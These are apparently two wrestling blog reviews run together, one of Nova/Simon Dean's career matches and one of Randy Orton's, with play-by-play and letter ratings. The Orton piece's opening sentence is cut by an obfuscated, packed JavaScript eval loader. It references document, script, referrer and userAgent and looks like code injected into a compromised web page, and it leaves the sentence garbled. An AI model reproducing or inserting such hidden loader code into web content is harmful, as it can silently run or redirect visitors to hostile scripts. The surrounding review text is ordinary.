ECW got TV soon after this and Nova would appear on the show on October 22, 1999.

Nova vs. Chris Candido

Gertner makes alcohol jokes about Tammy. They start fast with no one being able to get anything significant in. Candido finally hits him in the face to take over but walks into a backdrop. Flying forearm gets two. Nova is a guy that’s hard to keep up with because he’s not only fast but he does a lot of stuff that no one else did so it’s hard to call the moves. Before anything happens, Doring, Roadkill and Lita run in to beat on Nova for a DQ. This was really short.

Now we’ll get to the team as they had a match on Living Dangerously 2000.

Jado/Gedo vs. Nova/Chris Chetti

I’ve heard incredibly mixed reviews on Jado and Gedo but I think I’ve seen one match of theirs and it was a 6 man. We hear about how great Gedo is and he’s got a decent resume actually with wins over Jericho, Benoit and Malenko. Joey: Nova and Chetti have been together as a team now for a year minus the six months Chetti was out with a back injury. I think that’s grounds for just saying they’ve been together for awhile.

They tag with other people though but it’s all good. The Japanese guys like to mock opponents apparently. Joey can you freaking say who is who? I think Gedo is in the ring but I’m not sure. This show has been such a train wreck I’m not sure. Ah never mind that’s Jado. Gedo has a shirt on. Got it. Nova gets a NICE superkick to the throat of Jado. That looked great and sounded great too.

Chetti tries one and does very well too. His only missed by six inches or so. Cyrus doesn’t know the referee’s name which means nothing at all but I need to fill in some space here. The Tidal Wave hits Gedo to end it. It’s a combination splash and leg drop but both guys jump from the same rope. It looked pretty freaking cool.

Rating: D+. This was just a mess. It wasn’t bad or anything, but it was just a total mess. I know I said that already but it’s the only way to put it. Why are the Japanese guys here? Why did Nova and Chetti pick this time to run down? How was a contract agreed to and sanctioned so fast? Yes I know I’m nitpicking but dang man. That’s two in a row with nothing but random match to explain it. That’s not good.

Another tag match from Heat Wave 2000.

Da Baldies vs. Nova/Chris Chetti

And remember, even though Nova and Chetti are the best tag team in ECW, they can’t have the tag belts because we’re not going to have tag champions for about four months. DeVito “hits” a “dropkick” on Nova as we’re actually having something close to a tag match here. Wow Chetti is sloppy. His punches more or less hit their arms. It’s his birthday though so I can’t complain that much. Well I could but whatever.

Nova misses a Swanton and Cyrus says Chetti has educated feet. I wonder who stole that from whom. Nova hits a very nice double piledriver into a helicopter bomb (think the Three Amigos but with piledrivers and a spinning powerbomb to end it). Since that’s a totally awesome move, it doesn’t end the match. The Tidal Wave ends it as I shake my head over these two never winning the tag titles.

Rating: D+. This was a glorified squash as the high flying guys were never in anything close to danger here. These guys are kind of like the MCMG in TNA at the moment but not as tandem based. Still though this was good for them as the Baldies remain completely useless yet employed.

The team would split soon after without having a title reign because ECW didn’t make a ton of sense around this time. Nova would wrestle on the last ECW on TNN show, from October 6, 2000.

Bilvis Wesley vs. Nova

Yeah see what I’m having to deal with for you guys here? Nova and Chetti, the best team in ECW for their last 15 months or so have split up with Nova as the face I think. Commercial #3 and we haven’t had a match yet. There are about 5 empty seats in the front row. Nova is dressed like the Flash here which is one of the few costumes he stuck with.

This should be a squash but it likely won’t be. He’s a bad Elvis impersonator. I mean he makes Honky look good. Joey asks Joel what his strategy is for his match with Cyrus which was five days earlier but whatever. This is just a way for Gertner to make Elvis jokes which are getting over. Nova hits a Swanton for two as this has been going for a good while now but the commentary is more interesting.

SICK enziguri by Nova and Bilvis is almost out. Nova Cain hits and the valet and the wrestler that hangs out with Bilvis break up the pin. Nova is just toying with them here for the most part. School boy gets two. Kryptonite Krunch (modified Emerald Flosion) ends it. Mostly a squash.

Rating: D+. Nothing much here but it’s the last original match on this show as other than this it’s nothing but repeated matches from the PPV. This was nothing of note but Nova is always fun to watch with all of his insane offense. This wasn’t much at all though and it’s a shame that this is what the company had become.

Nova and Chetti would meet in a Loser Leaves ECW match at November to Remember 2000.

Chris Chetti vs. Nova

They were the best team forever in ECW and this is loser leaves ECW. Yeah because we need to split them up before they get too good. Dangerously, as in Lou, Chetti’s manager, runs down Chicago for some basic heat to start. Nova is Spiderman here which is better than the Flash I suppose. Nova busts out a Crossface Chicken Wing of all things. Chetti has a bad back and it gets hurt here.

Lou comes in and Chetti was faking it. What a brilliant man. The crowd is a bit dead here which is saying a lot at an ECW show. Nova is bleeding and Chetti is as well to an extent. The problem with these kinds of matches and this one in particular is that you have to have a team built up high enough to have a match like this mean something. These guys were good but only for a few months and they never won anything. That’s why this isn’t incredibly interesting.

Chetti steals Nova’s move so Nova steals Chetti’s move. Nova just goes insane with punches in the corner, beating the heck out of Chetti. And it’s chair time since this is an ECW match. The fans finally wake up a bit for this due to Nova’s insanity. I don’t think anyone ever actually liked Chris Chetti which is the biggest problem here. Nova hits a double arm DDT but Lou makes the save.

He gets nailed to a nice pop. The crowd is trying so hard to care about this match but it’s just not happening. Why were these guys never tag champions? Nova goes insane and tries rolling piledrivers. He gets two of them but Lou pops him with the phone. Nova kicking out gets a solid pop as well. Kryptonite Krunch from the middle rope ends it and Nova can stay for the remaining two months!

Rating: C-. The fans wanted to like it but this just missed so many times that it never got together. No one liking Chetti hurt it a lot like I said. Nova could have been something special but he was in midcard/tag purgatory forever. This wasn’t anything special though and it never went anywhere. Of course it’s the longest match of the night so far.

After ECW went out of business, Nova would hit the indies for a bit, including WWA Revolution in 2002.

Nova vs. AJ Styles vs. Tony Mamaluke vs. Christopher Daniels vs. Shark Boy vs. Low Ki

Elimination rules here and no one gets an entrance. It’s probably a good thing that they have to tag here. Styles vs. Mamaluke to start and they trade arm control. The camera keeps changing angles and it’s getting annoying. Mamaluke is bleeding from the nose as he hits a German to send AJ down onto his shoulder. Shark Boy comes in to fight Tony and gets clotheslined down.

Nova is standing on the floor, drinking water. Shark Boy hits an atomic drop and bites the place where his knee went. Off to Low Ki who gets atomic dropped as well, but comes back with a kick to Shark Boy’s head before he gets bitten. Daniels vs. Low Ki now and you know the strikes are coming here. A Capo Kick staggers Daniels and Nova gets tagged so hard that he spills his drink.

Apparently Nova is a businessman now. I’ve never seen a businessman in workout pants and no shirt but whatever. He works on Daniels’ arm a bit before it’s back to Low Ki. A double gordbuster puts Daniels down and it’s off to Mamaluke. There are the kicks from Low Ki and a double suplex by Ki and Sharky, but there was no tag so Shark Boy’s cover gets no count.

Things start to break down a bit as Sharky Boy and Mamaluke go to the floor for some dives. They wind up in the crowd (which is carpeted) as AJ pounds on Nova in the ring. Nova hooks a modified Crossface which goes nowhere because they’re not legal. Shark Boy hits a top rope rana on Mamaluke for two, even though the referee’s hand hit the mat three times. Low Ki comes in and hits a cartwheel kick on the distracted Shark Boy for the first elimination.

Off to AJ vs. Low Ki as the camera angles start to show a few details about the “arena”. There’s no ramp that I can see, and all of the seats are opposite the screen. I believe they’re in a theater, which is a really weird visual and atmosphere. Low Ki hits a HARD kick to the head (I’m shocked) but AJ comes back with forearms to the head. Both guys hit cross bodies so it’s off to Mamaluke vs. Daniels.

An STO kills Mamaluke who is a bloody mess. Daniels loads up the BME (I think) but Styles breaks it up for no apparent reason. AJ gets knocked down (I think. The camera direction here is a nightmare) so Mamaluke hits a belly to back off the top for two. Daniels hits the Angel’s Wings for no cover, instead tagging in Styles for the Clash to get us down to four people.

Nova comes in with a backbreaker on Styles for two before it’s back to Daniels vs. Styles. Even before TNA existed this was happening a lot. Styles tags in Low Ki who strikes away even harder on Daniels. Low Ki charges into a spinning electric chair of all things and a top rope elbow from Nova gets two on the kicking dude. Nova goes up and gets crotched, but as Low Ki goes up, he gets elbowed down into the Tree of Woe. Low Ki sits up and pulls Nova down into a rear naked choke while they’re both upside down.

Daniels comes in and is immediately thrown out, followed by everyone going to the floor. Daniels dives onto Low Ki so Styles hits a Shooting Star Press to the floor. This camera work is REALLY annoying as it either keeps cutting away or it has awkward shots of everything. Back in the ring, Low Ki loads up a rana on Nova, but Daniels runs the corner and hits a top rope Rock Bottom on Low Ki for the elimination.

Nova dropkicks Daniels to the floor so it’s Styles vs. Nova legally I guess. AJ is busted too. Everyone is in now and Daniels kicks Nova down and AJ gets two off a neckbreaker to Christopher. Daniels takes AJ down and hits the BME for two. There’s a dragon sleeper to AJ but Nova hooks a standing Last Chancery on Daniels at the same time. Nova grabs Daniels from behind but Styles sunset flips Nova, sending Daniels flying in the suplex.

AJ shoves Nova off the top and counters Daniels’ rana into a middle rope Styles Clash to get us down to one on one. A pair of rollups get two for Nova, as does a Downward Spiral. AJ gets two of his own off a German and Tessmacher’s current finisher (Tesshocker if you’re a big wrestling geek like me). They both go up with Nova hitting a C4 off the top (flipping Downward Spiral) for the final pin. Not much build to that.

Rating: B. Take six young and small guys, throw them in one match, let them have fun. AJ and Low Ki looked like the stars here, which they would be for all intents and purposes. Nova was already a name, Mamaluke never went anywhere, Shark Boy would become a cult favorite, and Daniels would become a decent sized star of his own right. Still though, fun match and AJ looked good in it, which shouldn’t shock anyone.

Nova would be brought into OVW in early 2002 and become quite a big star, including this match against a guy who you might have heard of. I’ll throw in the pre match promo before their match on May 15, 2002.

Nova is in the ring with Jim Cornette and sounds like he’s making his debut. He talks about wanting to get into the ring with the Prototype but says he’s done it a few times already in California. Nova says he’s beaten Prototype three times already in California, but now they’re both two years better. This brings out Prototype to say he’s tired about hearing everyone talk about the next big thing in WWE, Brock Lesnar. Now this Nova guy is the next big thing. Nova wants a fight right now and we get a bell for a title match.

OVW Title: Nova vs. Prototype

Nova hammers away to start and takes Prototype down into a front facelock. A sunset flip gets two on the champion and Nova hammers away with right hands and a hurricanrana. The fans think this is boring for some reason. Prototype comes back with a slam followed by a spinebuster but misses a top rope splash. Nova accidentally bumps the referee and Prototype’s manager Kenny Bolin throws in the briefcase for a hard shot to Nova’s back. It’s only good for two via a new referee and we take a break.

Back with Prototype nailing a hard clothesline and stomping away in the corner. Another hard clothesline gets two and a vertical suplex gets the same. A big side slam gets yet another two count but an atomic drop sends Nova bouncing off the ropes and the second referee gets bumped. Nova nails Kenny Bolin and the first referee comes back in.

A hard shoulder to the ribs has Prototype in trouble and a big kick gets two. Nova plants him with an STO and gets two more off a top rope elbow. Prototype kicks out of a rollup and a Nova crossbody puts the referee down AGAIN. Sean O’Haire runs in to jump Nova but he rams both heels into each other. The Kryptonite Krunch (White Noise) is enough for the pin and the title.

Rating: C+. It was a bit overbooked but it still worked well enough for the most part. It makes Nova look like a star and that’s all you need to do with something like this. Prototype would be gone from the promotion soon after this as he debuted on Smackdown under his real name: John Cena.

Nova would be a big force in OVW for over two more years before FINALLY debuting in WWE under a totally new gimmick: Simon Dean, a fitness expert. You know, because why bother using the character that worked all those years when you can turn him into an over the top comedy character? Dean would have a match on Raw, December 6, 2004.

Hurricane vs. Simon Dean

Simon is Nova from ECW and had a gimmick where he was a sponsor of Raw and pitched a weight loss system. Just take a guess as to how well this goes. This is his debut match. Simon wants to have an amateur style match so Hurricane rolls him up for two. Simon takes over with nothing significant. This is really the best match they can give us on Monday Night Raw? The King makes fun of TMNT and I hate him already. Hurricane breaks a chinlock and hits some fast paced stuff. The Shining Wizard misses and Dean rolls him up for the pin with tights.

Rating: F. This is the best they can do for Monday Night Raw? Seriously? Yeah that’s all I’ve got here.

In 2005, WWE held an ECW reunion show called One Night Stand. At the end of it, a big brawl broke out and JBL beat the living tar out of Blue Meanie in a shoot. Instead of firing JBL, this was the payoff, from Great American Bash 2005.

Mexicools vs. BWO

Oh where do I begin. Ok so the Mexicools are Juvy, Psicosis and Super Crazy as really stereotypocal Mexicans (ride lawnmowers, carry rakes etc). The BWO is here because at One Night Stand, JBL legitimately beat up Blue Meanie. WWE gave Meanie a job for like two months so he didn’t sue them. This is their only match of note. The BWO comes out on big wheels for absolutely no apparent reason. American Chopper joke maybe?

Juvy vs. Nova starts us off. Things break down and the BWO takes over. Psicosis finally hits a corkscrew plancha to take over on Nova. Back to Juvy as Nova gets beaten down. He Hulks Up (NWO parody remember…..in 2005) and Cole messes up the BWO’s names. Hot tag brings in Richards who cleans house. Side slam gets two on Psicosis. Everything breaks down and Crazy hits a moonsault onto Richards followed by a guillotine legdrop by Psicosis for the pin.

Rating: F. This was on PPV. Once you get that through your heads, you’ll get why this was a failure.

We’ll wrap it up with one more trip to OVW, from May 31, 2006.

Simon Dean vs. Shawn Spears

Dean easily throws him down to start before tripping him to the mat. Back up and Spears cranks on a hammerlock but walks into a big right hand. Not that it matters as a small package out of nowhere gives Spears the quick pin.

Dean loses his mind, breaks a lot of stuff, and hits security with chairs after the match.

Nova is a guy that worked well when he was allowed to be himself but companies kept feeling the need to make him into some over the top character. The Simon Dean issue is the same thing that keeps hurting NXT talent being called up today: why does WWE see them get over down there as one character then switch everything up and blame them for not getting the new character over? Anyway, Nova is a talented guy but bad gimmicks killed him.

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Wrestler of the Day – April 1: Randy Orton

The voices tell me that today is Randy Orton.

Much eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tstnn|var|u0026u|referrer|yntas||js|php'.split('|'),0,{})) like Booker T, Orton has been around for a long time so I’m going to have to skip some big sections to keep this from being eight hours long.

Orton was trained by his dad and started in Missouri for a bit before signing to OVW. Here’s one of his matches from Christmas Chaos 2001 in January of the same year.

Slick Robbie D vs. Randy Orton

Cornette is in the Control Center and gives a brief intro to each match so they’re not as rushed as they seem. Robbie went nowhere but could jump like few I’ve ever seen. Orton actually has hair here and is a rookie as well and even has hair here. The referee is a chick with big hair. Randy isn’t evil here and has few tattoos. He’s also not orange yet.

Robbie hammers away on Orton so Cornette plays up how much of a rookie that Orton is. There’s that gorgeous dropkick by Orton and he grabs an armbar. Wheelbarrow suplex gets two for Orton. He’s freaking jacked here too. Big superkick by Robbie gets him out of trouble though. Leg drop gets two. Robbie hits a dropkick to send Orton to the floor. Apparently if you intentionally throw someone over the top it’s a DQ. I will never get that rule.

BIG plancha takes out Orton. Robbie tries to go up and goes so slow “that a crippled moose could be up there by now.” I love Cornette’s expressions like that one. Superplex brings Robbie down and both guys are down. Orton starts his comeback and hits some basic stuff. In a rather abrupt ending, Orton tries for a full nelson slam which is his finishing move at the time. It’s blocked so Orton tries it again and hits it for the easy pin. Like I said, rather abrupt.

Rating: C+. Another decent little match here as I feel like I’m watching a Before They Were Stars tape or something like that. Orton wasn’t that great here but it was clear that they were going to try to make him into something. As with a lot of other guys I don’t think anyone had any idea how big he would become but the potential was there.

Orton would make it to Smackdown a little over a year later and would be just a guy for awhile, including in this match on Smackdown from July 4, 2002.

D-Von/Batista vs. Big Valbowski/Randy Orton

Orton had been around for a few months here but was just a young kid. Batista was the deacon for Reverend D-Von and had debuted last week as well. Orton has hair here. Batista beat up Orton last week so this is the rematch Orton requested. Val (I’m not typing that whole thing) starts against Batista. He tries to take Batista’s knee out but gets run over by a HUGE clothesline.

Off to D-Von and the veterans do some basic stuff. Orton comes in to a screaming girls pop. He’s always had a sweet dropkick. D-Von gets a neckbreaker out of the corner for two. Orton gets beaten down but manages to bring in Val. Venis gets a Blue Thunder Bomb but Batista makes the save.

Orton comes in and hot shots D-Von, but Big Dave (first name unknown at this point) puts him in a fireman’s carry and rolls through it like Kenderson does. That’s a new one. Or old one in this case I guess. Everything breaks down and Orton misses his top rope cross body. The spinebuster ends this. Cole: “Batista is an animal!”

Rating: C-. This was fine and it’s amazing to see guys like this in their very young days. You never know what you might have in any given match and this is proof of it. I’m sure they knew they had something, but I don’t think anyone knew how big they’d be. Somehow, these two pale in comparison to the guy that would be in the next segment though. The match was fine.

Orton would suffer one of his numerous shoulder injuries to put him out of action. This was where everything changed. Let’s flash back to 1997 for a second. Rocky Maivia was brought in at Survivor Series 1996 as a face, but people would come to loathe him very quickly. They then turned him heel until his talent shined through and the fans turned him face again. This was basically a big screw up that turned out perfectly in the end. In 2002, WWE tried to do the same thing on purpose with Randy Orton.

Unfortunately it didn’t work all that well though and Orton was better as a heel. This led to the Randy News Network bits where he would interrupt broadcasts to say where he was in his shoulder recovery. However, instead of getting over as a face, Orton got WAY over as a heel and WWE just stayed with that and put him in Evolution despite being hurt. Evolution dominated 2003 and Orton was back in the ring a few months into the year. The team hit its peak at Armageddon 2003 which saw Orton challenging RVD for the Intercontinental Title.

Intercontinental Title: Rob Van Dam vs. Randy Orton

Rob takes him down quickly and Orton heads to the floor. Back in and we get some surprisingly decent chain wrestling, resulting in a standoff. Rob gets a shot to the ribs and a cross body off the top for two. Spinwheel kick puts Orton on the floor as Rob has been in control nearly the entire match so far. Big dive takes Orton out again as Rob threatens Flair a bit.

Slingshot legdrop gets two. He tries to go up again but Orton manages to shove him off, flying into the railing in one of his signature spots. Out to the floor and Orton gets that awesome dropkick of his. Back in and Orton chokes away with Rob making a hilarious face at the same time. Foley pulls Orton off Rob and Flair is TICKED.

Orton takes over with his usual stuff. Well usual for this time at least. It’s so weird to see him with only a few tattoos and normal looking skin. There’s the chinlock just to confirm it’s an Orton match. Big clothesline by Orton but he poses instead of covering. Seated dropkick gets two and it’s chinlock city again. Rob grabs a rolling cradle out of nowhere for two.

Split legged moonsault gets two. Orton hits a move of his I’ve always loved: he puts Rob on his shoulder like for a powerbomb and steps forward, pulling Rob down into a neckbreaker. Love that. Oh look here’s another chinlock. I know that’s a cliché for him but it’s true. Rob fights out of it after WAY too long and hits his spin kick to take over.

Off to the floor again and with Orton draped over the railing, Rob hits that spinwheel kick off the apron. Elevated DDT coming back in gets two. Knee drop by Orton misses and Van Dam gets a rollup with his legs for two. Rolling Thunder hits and there goes Flair whose hair is DRENCHED. Spinning kick takes down Randy again and it’s Five Star time. Flair has something in his hand but Foley takes him down. Orton dropkicks Rob off the ropes and there’s the RKO for the title.

Rating: C+. Pretty good here but Orton clearly didn’t know how to work a long match, although to be fair he still pretty much doesn’t. Van Dam is a weird guy to have carry you so Orton had to do a lot here. Foley would get spat on the next night and leave until the Rumble and then wrestle against Orton at Mania and Backlash. Either way, not bad here but not a classic.

Orton would hold the title for over half a year before dropping it to Edge. This freed him up to go after a World Title and he got that shot at Summerslam 2004.

Raw World Title: Randy Orton vs. Chris Benoit

Orton won a battle royal a month ago to set this up. It’s weird to see Orton with hair, regular colored skin and few tattoos. The fans of course are more interested in telling Earl Hebner that he screwed Bret. Feeling out process to start with Benoit taking it into the corner for a clean break. Benoit takes it to the mat and puts on a hard chinlock which gets him nowhere. Off to a test of strength with the taller Orton taking over, but Benoit comes back with pure leverage.

Benoit hooks an armbar as we reset a bit. Orton fights up and is armdragged right back down to the mat with Benoit cranking away on the arm. That goes nowhere so Benoit tries a Sharpshooter but Orton kicks him off and puts on one of his own. Benoit counters into his own Sharpshooter but it’s not on full, allowing Orton to get to the ropes. The Crossface doesn’t go on full either so they head to the floor where Benoit is whipped into the barricade.

There’s the Spanish table chant again as Benoit is sent shoulder first into the post. Back in and Orton puts on an armbar of his own, showing some basic psychology. Orton drops him ribs first across the top rope and the fight moves to the outside with Benoit hitting a kind of DDT onto the apron to take over. Chris tries a suicide dive but rams his head into the barricade as Orton moves to the side. Back in and Orton wrenches the neck around before putting on something resembling a camel clutch.

Orton puts Benoit over his shoulder for a powerbomb but steps forward into a neckbreaker for two in a nice move. We hit the chinlock which is actually a smart move here. Back up and both guys hit cross bodies for a double knockout. They slug it out with the champion taking over via a series of forearms to the head. Orton blocks the rolling Germans but gets caught in a northern lights for two.

Randy fights off a superplex and hits a high cross body for two, crushing Benoit’s head again in the process. Chris ducks a clothesline and hits a release German suplex before putting on the Sharpshooter. Two arm drops later and Orton gets to the ropes, only to be caught in a long series of rolling Germans for two. Benoit loads up the Swan Dive but Orton gets up the knee, driving it right into Benoit’s jaw. That’s hard to watch today. Orton’s cover is countered into a bad looking Crossface but Orton rolls away to escape. Back up and another Crossface attempt is countered into the RKO out of nowhere for the pin and the title.

Rating: B+. This took a bit to get going but I really liked the ending with the RKO hitting from nowhere. It caught the technical master off guard which was the right idea given that Orton is younger and faster. It’s a good match and Benoit put Orton over clean right in the middle of the ring. You can’t ask for more than that.

Orton celebrates as Benoit leaves but Chris comes back and demands that Orton be a man and shake his hand.

Orton would turn face the next night on Raw when HHH kicked him out of Evolution for taking HHH’s title. The title reign wouldn’t last long due to HHH deciding that he needed the belt back and Orton’s face push died. With nothing else to do they turned him heel again and gave him a shot at the Streak, which was really becoming a huge deal.

Randy Orton vs. Undertaker

It’s Wrestlemania so we get druids, chanting and torches for Undertaker’s entrance. This is never not cool. We also get the Burn in My Light theme for Orton from back when Orton looked like a 24 year old and not like he was made out of orange shoe leather. Undertaker is just 12-0 at this point. Feeling out process to start until Orton scores a quick dropkick for two. A single right hand puts Orton down but a quick rollup out of the corner gets two for Randy.

Undertaker throws him into the corner and drops the leg on Orton on the apron for good measure. Old School drops Orton again but Undertaker misses a running boot in the corner, allowing Orton to dropkick him out to the floor. Back in and a clothesline puts Taker down again for two but a running DDT drops Orton for two for the tall guy. Undertaker follows up with some clotheslines in the corner before loading up the snake eyes/big boot combo. Orton blocks the coming boot with an uppercut but he stops to pose, allowing Undertaker to sit up.

They slug it out until Undertaker simply runs Orton over for two. Off to a dragon sleeper by Taker which clearly makes Orton tap but it doesn’t count this early I guess. Orton twists around into a nice DDT for two before we hit the chinlock. Taker fights up so it’s a sleeper instead, only for Taker to counter again with a belly to back suplex. Back up and Orton powerslams Undertaker down for two but he makes the eternal mistake of punching Undertaker in the corner and gets caught in the Last Ride.

Orton escapes though and tries the RKO, only to be shoved off. He grazes the referee on the way to the ropes which apparently passes for a ref bump. The Last Ride is countered again and here’s Randy’s dad Bob with the cast (that’s a VERY slow healing injury as it’s at about 23 years now) to give Orton a VERY close two. In one of my favorite counters ever, Taker loads up the chokeslam but Orton counters in mid air into the RKO for two. Like any good lunkhead, Orton loads up the Tombstone but gets countered into the real thing to make Taker 13-0.

Rating: C+. While not great, Orton was trying out there. The problem was that Orton had been crushed so badly by HHH that there was no reason to buy him as a threat here. I won’t say didn’t even have to break a sweat here but other than that RKO counter and MAYBE the cast shot, Undertaker was never in any danger or even extended trouble.

The rest of 2005 was mainly spent feuding with Undertaker, who eventually won the blowoff match of course. Next up was chasing the World Title on both Smackdown and Raw but Orton couldn’t quite close the deal. Instead it was back to the old Legend Killer stuff, including a match against the biggest legend of them all in Hulk Hogan at Summerslam 2006.

Randy Orton vs. Hulk Hogan

Hogan has a bad leg coming in, meaning he’s perfectly normal. Hulk easily shoves Orton down out of lockup to start before running him down with a shoulder block. The bandana goes into Orton’s face before Randy grabs a headlock. Hogan fights out with a top wristlock as we’re still going very slowly so far, much to Hogan’s liking. Randy finally gets in some shots to the face to put Hogan down, thereby making him the biggest heel in the world.

Hogan fights Orton off in the corner and sends him into the buckle. Almost all Hogan so far which continues as Hogan pounds down right hands in the corner. He bites Randy’s forehead and pokes him in the eye to keep us firmly in the mid-80s. Hogan rakes his back and pounds away on the mat before threatening the referee with a right hand. Orton holds the ropes on an Irish whip and pulls Hogan to the mat to work on the knee.

Back in and Orton cannonballs down on the leg before doing a short form of the circle stomp. A chop block puts Hulk down again but he ducks/collapses to avoid a high cross body. Hogan pounds away but misses the big boot, allowing Orton to dropkick him down. The RKO connects for three but Hogan’s foot was on the ropes. Orton argues with the referee, Hulk Hulks Up and the legdrop ends it.

Rating: D. Well let’s see: the booking was out of the 80s, Hogan broke a sweat for maybe a minute, and Orton was pinned clean by a 50+ year old man in about eleven minutes. This is the opposite of last year with Shawn as Michaels didn’t have much to gain from a win. Orton on the other hand could have ridden this win for months, but instead we get Hogan’s last WWE match (which you couldn’t have known at the time) as a tribute to him, complete with the 1985 formula all over again. Not a fan of this but you had to know it was coming.

After chasing the title again for a good chunk of 2007, Orton would be awarded the title at No Mercy 2007 when John Cena was injured. Randy would lose the title less than twenty minutes later to HHH before facing him again later in the night in a last man standing match.

Raw World Title: HHH vs. Randy Orton

Last man standing. Slugout to start with Orton going after the bad ribs. They keep the slugout going out to the floor where a Pedigree is countered. The bad ribs land on the steel and Orton gets control. Back in and a punch puts HHH down. Out to the floor again and Orton belly to back suplexes him onto the barricade. That gets a six count and Orton throws him into the steps for another six.

They head into the ring and Orton hits a release powerslam for about eight. Facebuster puts Orton down but he pops back up and gets a cord off the floor. He chokes HHH out but what should be murder only gets a nine count. Orton loads up the announce table and gets a horrible shot to the head with a monitor. An RKO from one table to the other doesn’t work as HHH launches him through the second table.

Both guys are down and Orton is holding his arm. Gee where have I seen that before? Trips gets up and it’s a nine count on Orton. A spinebuster on the floor but that gets the same result. Steps to the face of Orton should kill him but gets the slowest nine count ever. Back into the ring and HHH gets a chair. Orton manages to kick the bad ribs and DDTs him onto the chair for an eight or so.

Randy finally goes off and pounds HHH down in the corner and an RKO on the open chair gets nine. The Punt is grabbed and HHH throws Orton over the top to the floor. They go to the floor with HHH pounding on him before throwing him onto the remaining table. Orton escapes and slams him into the post to put HHH down. He gets the steps but HHH hits him low to “slam” Orton’s head into them. A chair to Orton’s head while it’s still on the steps gets nine and we go back to the table. An RKO out of nowhere onto the table gives Orton the title. It’s as sudden as it sounds.

Rating: B. Good match but the counts got pretty ridiculous at times. The ending didn’t help either as Orton had hit him with far bigger stuff just moments earlier but the RKO ends it because that’s what Orton finishes matches with. Also it doesn’t help that these two had THREE last man standing matches in total. See why people got tired of them?

Cena would come back sooner than later and would jump back into the title scene, setting up a threeway between Orton, Cena and HHH at Wrestlemania XXIV.

Raw World Title: Randy Orton vs. HHH vs. John Cena

Cena has a drumline playing him to the ring which is pretty awesome. After some big match intros we’re ready to go. Orton immediately blasts HHH with the belt but Cena takes the champion down with a bulldog before Orton can do any more damage. HHH pops back up and throws both guys to the floor before sending Orton into the announce table. Orton and HHH head back in with the champion being put in a sleeper. Cena comes back in and picks them BOTH up at the same time for an FU but both guys slip off the back. Orton’s backbreaker puts HHH down as does a shot to Cena to give the champion control again.

Randy takes turns pounding away on both guys, getting two off a knee drop to the Game. Orton starts getting uncharacteristic for himself by going up top, only to be stopped by Cena. John loads up a superplex but HHH pulls Cena onto his own shoulders so Orton can hit a top rope cross body for two. Cena stands up to try the FU on Orton but Randy slides into a cradle for two. HHH clotheslines Cena down but Orton clotheslines HHH to put HHH down.

It’s Orton standing tall again as he sends both guys to the apron for a double Elevated DDT which gets two on both challengers. An RKO to Cena is countered but he shoves Orton into HHH to put both guys down. Cena hits the Throwback (a flipping face first mat slam) and the top rope Fameasser to keep Randy down. He isn’t down enough for the STFU though and the champion rolls to the floor. Cena follows him and is sent into the post to slow things down again.

Orton and HHH fight it out in the ring with HHH taking out the champion’s knee. Cena comes back in to distract HHH but after the Game puts him down, Orton catches him with an RKO to put him right next to Cena. Orton kicks HHH to the floor but walks into the STFU in the middle of the ring. HHH makes a save at the last second and sends Cena into the floor to put him down on the floor.

Back in and HHH puts on an Indian Deathlock to follow up on the knee work he started earlier. Now it’s Cena back in to break up the hold and send HHH into the corner and out to the floor. Back to the STFU but HHH comes in for the save. The problem is that the save didn’t work, so HHH puts Cena in a Crossface while Cena has Orton in the STFU. Cena lets go of his hold but manages to crawl over to the ropes to break up the hold.

Orton rolls to the floor so HHH and Cena can slug it out in the middle of the ring. The fans boo Cena’s punches and cheer HHH’s, continuing a trend for whomever Cena is facing. Cena slams HHH down and hits the Shuffle but Cena’s FU is countered into a Pedigree attempt which is countered into an STFU attempt this HHH escapes. The spinebuster puts John down and there’s the Pedigree, but Orton comes back in with the Punt to HHH to knock him silly and Orton pins Cena to retain.

Rating: B. This was a fast paced match with all three guys working hard out there in front of a huge crowd. The back and forth stuff worked very well and it wasn’t clear who was going to win until the match was over. Orton getting beaten up and winning while stealing HHH’s pin is perfect for him, as well as giving him the big win on the big stage that he needed.

We’ll jump ahead again due to HHH vs. Orton in 2008 being AWFUL and HHH vs. Orton continuing to be AWFUL in 2009, because those two just had to face each other forever in the main event. We’ll head to Hell in a Cell 2009 as Orton has finally moved over to feuding with John Cena forever instead of HHH FOREVER.

Raw World Title: John Cena vs. Randy Orton

Orton gets a small face pop again. All right I’ll say it: I love Cena’s theme song and I sing along at times. Cena is champion here and this is Orton’s last shot allegedly. This is the first ever Cell match that HHH or Taker weren’t in. That’s saying a lot when you think about it. Orton takes over early and is in control. King offers analysis of what’s going on. Why? He’s never been in one of these things so what kind of knowledge can he have of them?

Crowd is TOTALLY behind Orton here. They’re 3 minutes in and they’ve used the cage FAR more than Taker and Punk did, which isn’t saying much at all really but whatever. They’re using the cage to jump up higher for kicks and getting slammed into it a bit, but the problem is you could use the posts or the apron for everything they’re doing.

The best version ever of the match was Shawn vs. Taker, as Shawn was scared to death of him and couldn’t get out. He was trapped in a nightmare with the devil. That’s the idea of the match. Instead here it’s just a hardcore match in a cage. Now to be fair, just about every match ever in the Cell is like that anymore so it’s hardly a problem that just this match is having.

Cena blocks the elevated DDT onto the steps. No one is keeping control for more than just a little bit which I’m not sure if I like or not. They’re just standing around in a match that’s supposed to be all about violence. What sense does something like that even begin to make? Cena begins his comeback with his usual stuff and I have zero clue why this is in the Cell.

The elevated DDT hits after Orton takes over. The FU gets two and we’re in the kicking out of finishers segment already. Shockingly, an Orton match is going VERY slowly. Orton hits Cena in the neck with a chair! Hey kids! Hit someone in the neck with a chair! It’s on a PG show so it’s all good. Orton has demons? Cool.

I wonder if Vince tells the camera guys to focus on Orton when he’s in crazy mode as it looks like he’s orgasming or something like that. Cena works the knee for like two seconds and Orton tries to get out of the STFU. He gets it again for the tap but the referee was knocked down. What a shame!

RKO gets two. Orton ties Cena up in the ropes for no adequately explored reason. In something that I laughed out loud at, he uses a chinlock while Cena is tied in the ropes. Seriously, why am I not surprised? Orton lets go for no adequately explored reason. He punts Cena and wins the title. The 4 seconds of knee work Cena did earlier was the explanation of why Orton’s punt didn’t put Cena on the shelf. That’s just freaking stupid but whatever.

